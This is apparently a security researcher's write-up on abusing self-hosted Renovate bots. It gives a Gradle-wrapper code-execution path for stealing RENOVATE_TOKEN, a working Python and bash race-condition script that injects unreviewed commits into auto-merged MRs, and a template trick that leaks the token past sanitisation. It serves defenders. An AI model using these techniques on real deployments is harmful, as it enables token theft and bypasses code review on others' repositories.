Mend Renovate CLI Logo
https://docs.renovatebot.com/assets/images/mend-renovate-cli-banner.jpg

Renovate is an OSS CLI/bot that updates your software dependencies automatically. It is usually integrated into the CI/CD process and runs on a schedule. It will create a Pull Request / Merge Request (PR/MR) to your repository with dependency updates. It can optionally auto-merge them. If you host it for several repositories or an organization, it can auto-discover new projects and create an onboarding MR/PR, which introduces the repository configuration.

Self-Hosting

If you decide to self-host Renovate, many possibilities exist which range from using GitLab Pipelines, GitHub Actions, manually using the CLI to Docker and more. Alternatively you could use the Mend-hosted Renovate GitHub App, which takes care of hosting Renovate for you.

Basic Mode of Operation

When Renovate runs, it usually performs these most basic steps:

A design decision by Renovate is to use the language native package manager to update the dependencies. This means that it will invoke the package manager during its update process.

Configuration

Renovate consists of two different main configuration files. The Renovate bot global configuration is where the self-hosting configuration takes place. Additionally, every repository that is being renovated can have a renovate.json configuration file. It only allows a subset of options and cannot override global configurations.

If you self-host your bot you need to be aware of Renovates security model.

Renovates self-hosting security stance:

All self-hosted Renovate instances must operate under a trust relationship with the developers of the monitored repositories. This has the following implications: Access to information, execution of code

As this assumption sometimes clashes with the security boundaries of an organization that makes use of different repository access levels (owner, maintainer, developer) and runs one or multiple shared Renovate bots, this can quickly cause security implications, if the bot is badly configured.

This means depending on the hosting type, the impact of a compromised Renovate bot can be quite high. Assume a Renovate shared bot that has maintainer access in a whole organization. If it is compromised the attacker has access to all repositories which can be accessed by the bot.

Thus when hosting a Renovate bot you must always assume that each renovated repository can run code in the Renovate process and potentially take over the bot and all renovated repositories.

Autodiscovery

When configuring a self-hosted Renovate runner, one can decide whether to create a hardcoded list of projects in the global configuration or to let Renovate auto-discover new repositories. If enabled Renovate will renovate all repositories it has access to. This behavior can be restricted using the autodiscoverFilter or autodiscoverNamespaces option to renovate only repositories of specific groups/namespaces.

Let’s assume an organization created a bot configuration that allows autodiscovery without using the autodiscoverFilter or autodiscoverNamespaces or a fixed repository list.

On GitLab specifically, an attacker that has access to the same GitLab instance as its victim and who knows (or enumerates) the name of the victim bot, can invite the bot to their project (on GitLab invitations are accepted by default). This and additional issues are described in the official documentation and the reason why Mend does not provide a bot for GitLab.

Alternatively the attacker must be able to create a repository in a namespace that matches the autodiscovery configuration.

Given these preconditions, the next time Renovate runs, it picks up the malicious repository and renovates it. This results in a situation where the malicious actor gains code execution in the Renovate process, as their repository was never meant to be processed.

The described situation can be easily exploited with the following steps: In a new emtpy repository initiate a new Gradle project, using gradle init --type java-application. This creates the following file structure.

$ ls -l 
total 32
-rw-rw-r-- 1 kali kali 1075 Feb 18 16:28 build.gradle
drwxrwxr-x 3 kali kali 4096 Feb 18 16:23 gradle
-rwxrwxr-x 1 kali kali 5519 Feb 18 16:24 gradlew
-rw-rw-r-- 1 kali kali 2260 Feb 18 16:21 gradlew.bat
-rw-rw-r-- 1 kali kali  123 Feb 18 16:31 renovate.json
-rw-rw-r-- 1 kali kali  582 Feb 18 16:21 settings.gradle
drwxrwxr-x 4 kali kali 4096 Feb 18 16:21 src

The attacker now adds their malicious script to the Gradle wrapper script:

$ head gradlew
#!/usr/bin/env sh

# malicious script
echo "Greetings from Compass Security"


##############################################################################
##
##  Gradle start up script for UN*X

The renovate.json is a very minimal configuration and ensures to skip the onboarding step and to be renovated immediately.

{
    "$schema": "https://docs.renovatebot.com/renovate-schema.json",
    "extends": [
       "config:recommended"
    ]
}

The next time Renovate runs, it picks up the malicious repository it has been invited to or which is in its scope, invokes the gradlew script, and executes the malicious code in its Renovate context. Then the attacker can leak the GitLab access token from the RENOVATE_TOKEN environment variable and abuse the bot identity and access/modify other repositories.

Auto-Merging

Auto-merging is a Renovate feature that can be used to automatically accept Renovate’s PR/MR. When enabled, Renovate tries to merge the proposed update once the tests pass into the default branch. By default it uses the platform-native auto-merge.

Example of auto-merging non-major updates:

{
  "packageRules": [
    {
      "matchUpdateTypes": ["minor", "patch"],
      "matchCurrentVersion": "!/^0/",
      "automerge": true
    }
  ]
}

Abuse Scenario

Assume a malicious or compromised developer has access to a GitLab project, that is configured to be renovated on a schedule with auto-merge enabled.
The default branch is protected to only allow merges from maintainers and thus enforces MR reviews. The CI/CD configuration injects sensitive values only on runs on the protected default branch. Thus they are inaccessible for the developer. Moreover the Renovate bot must have maintainer access to be able to auto-merge into the protected branch.

The developer having the developer role on the GitLab repository wants to inject non-reviewed commits into the main branch. They cannot merge themselves and their MR must be approved by maintainers as this is configured and enforced by GitLab, also known as four-eyes principle.

When auto-merge is enabled, Renovate creates a branch and an associated MR. It then enables auto-merging on the MR. This is a checkbox developers can check when they want their MRs to be merged after the pipeline has passed and mergeability criteria are fulfilled.

The malicious developer waits for Renovate to create an MR and then adds their commit to the very same branch. To abuse this and force Renovate to auto-merge the additional commit, the developer must commit their changes faster than the bot activates the auto-merge checkbox on the MR.

Practical Race Condition Abuse

In the following paragraph, we assume to be the malicious developer from the scenario above.

This Python script waits for a MR created by Renovate and executes a shell script which force pushes an additional commit to the renovated branch.

# pip install python-gitlab
import gitlab
import os

# Add a GitLab access token here
gl = gitlab.Gitlab(private_token='glpat-[redacted]')

# Replace with the target GitLab project id
project = gl.projects.get(1)

hijackMr = None

while not hijackMr:
    mrs = project.mergerequests.list(state='opened', order_by='updated_at')
    for mr in mrs:
        if "Update dependency" in mr.title:
            print("Identified Renovate MR: " + str(mr.iid) + " - " + mr.source_branch)
            hijackMr = mr

os.system("bash git_amend_commit.sh " + hijackMr.source_branch)
print("Injected commit, check MR")

Ensure to clone the repository you have developer access, to the cd repo/renovate-developer-hijack folder.
Add the following bash script to git_amend_commit.sh which updates the repo, appending your malicious changes.

#!/bin/bash

cd repo/renovate-developer-hijack

# Fetch and checkout the newly created Renovate branch
git fetch --all
git checkout $1

# Your modifications to the repository, this example modifies the CI/CD configuration of the protected main branch
sed -i -e 's/This job/Modified Job/g' .gitlab-ci.yml
git add .
git commit --amend --no-edit

# Force push your modifications to the Renovate branch
git push origin $1 --force

# Cleanup tasks
git checkout main
git branch -D $1
cd ../..

At this point, you can run the script and wait for Renovate to update your repository. A prerequisite is that you need to have an outdated dependency in your repository of course.

$ python3 auto_merge_inject.py

Identified Renovate MR: 9 - renovate/cowsay-1.x-lockfile

Injected commit, check MR

As this is a race condition you might need to try several times. Moreover, this script has not been optimized for speed. More accurate exploitation can probably be achieved.

After the MR was created and the script ran successfully, the MR activity timeline shows, that the script was faster adding new changes to the MR than the Renovate bot enabling auto merge. Note: You cannot see the Renovate commit in the timeline, as we amended the change and force pushed to the branch.

Looking at the MR introduced changes, we can see that two, instead of the expected one file have been modified, including the malicious change in the gitlab-ci.yml.

The attacker now successfully injected code that ran in the pipeline of the protected default branch, thus bypassing the four-eyes principle of MR review.

Summary

While Renovate does a great job of keeping your dependencies up to date, it comes with a few pitfalls considering its configuration, that you need to be aware of, especially in shared-hosting scenarios. Always make sure to carefully align the Renovate security model with your repository/organization’s security model, especially your source code platform.


Appendix

Global Self-Hosted Misconfigurations

Keep in mind that arbitrary code execution by repositories in the Renovate process is always assumed, but the following options still exist and could be misconfigured. However, they do not break the Renovate security model as this is intended by design and the same effect they describe can be achieved by executing code in the Renovate process.

Preconditions

For each of the following configuration options to be “misused”, an attacker must be privileged enough to modify the repository’s Renovate configuration. This implies quite high access to repository e.g. Owner/Maintainer in GitLab already.

AllowScripts / AllowPlugins

While these settings are enabled (disabled by default) any plugin or script defined in their corresponding package manager configurations are run.

An example for the Node.js package manager (NPM ) package.json. When npm install is run, the script prepare is invoked as well.

{
  "name": "test",
  "version": "1.0.0",
  "description": "An example misconfiguration",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "prepare": "echo example"
  },
  "author": "Compass Security",
  "license": "ISC",
  "dependencies": {
    "cowsay": "^1.5.0"
  }
}

As Renovate uses the original package manager of most languages and runs the command npm install when Renovating projects using NPM, the additional prepare script is run as well. This is another possibility for a repository to run code in the context of the Renovate user.

Expose All Envs

When Renovate invokes the package manager of the project for example npm install this is done in a subprocess. The subprocess only receives a subset of the most necessary environment variables from the Renovate main process.

The configuration allows exposing all environment variables of the Renovate process to the package manager by configuring exposeAllEnv=true. Another option is to inject a subset of environment variables if you need some specific ones.

If this is enabled a rogue developer whose project is renovated can leak environment variables from it using the following configuration renovate.json. In this specific example the bots RENOVATE_TOKEN is leaked in the commit messages of Renovate.

{
    "$schema": "https://docs.renovatebot.com/renovate-schema.json",
    "extends": [
       "config:recommended"
    ],
    "commitBody": "testing: {{{ encodeBase64 (replace 'glpat' 'taplg' env.RENOVATE_TOKEN) }}}"
}

The next time Renovate creates a new commit, the commit message contains the base64 encoded environment variable. Directly printing the environment variable is not possible, as Renovate tries to prevent such leaks. The combination of encodeBase64 and replace is a bypass of this sanitization functionality.

Post-Upgrade Tasks

Post-upgrade tasks are commands that are executed by Renovate after a dependency has been updated but before the commit is created.

This repository configuration runs tslint --fix on each dependency update and then commits all files matching fileFilters.

{
  "extends": [
    "config:recommended"
  ],
  "postUpgradeTasks": {
    "commands": [
      "tslint --fix"
    ],
    "fileFilters": [
      "yarn.lock",
      "**/*.js"
    ],
    "executionMode": "update"
  }
}

When using this feature the list of the commands must be pre-configured in an allow list using the global configuration.

{
  "allowedCommands": [
    "^tslint --fix$",
    "^tslint --[a-z]+$"
  ]
}

Naturally, if the allowedCommands option is misconfigured with a too-permissive regex, repositories can run arbitrary commands, as seen in this example, where any command is allowed.

{
  "allowedCommands": [
    ".*"
  ]
}

Then a rogue developer could execute any command using the following renovate.json in their repository configuration:

{
  "$schema": "https://docs.renovatebot.com/renovate-schema.json",
  "extends": [
    "config:recommended"
  ],
  "postUpgradeTasks": {
    "commands": [
      "echo CompassSecurity"
    ],
    "fileFilters": [
      "yarn.lock",
      "*/.js"
    ],
    "executionMode": "update"
  }
}

This again is just a variation on how to run code in the Renovate process.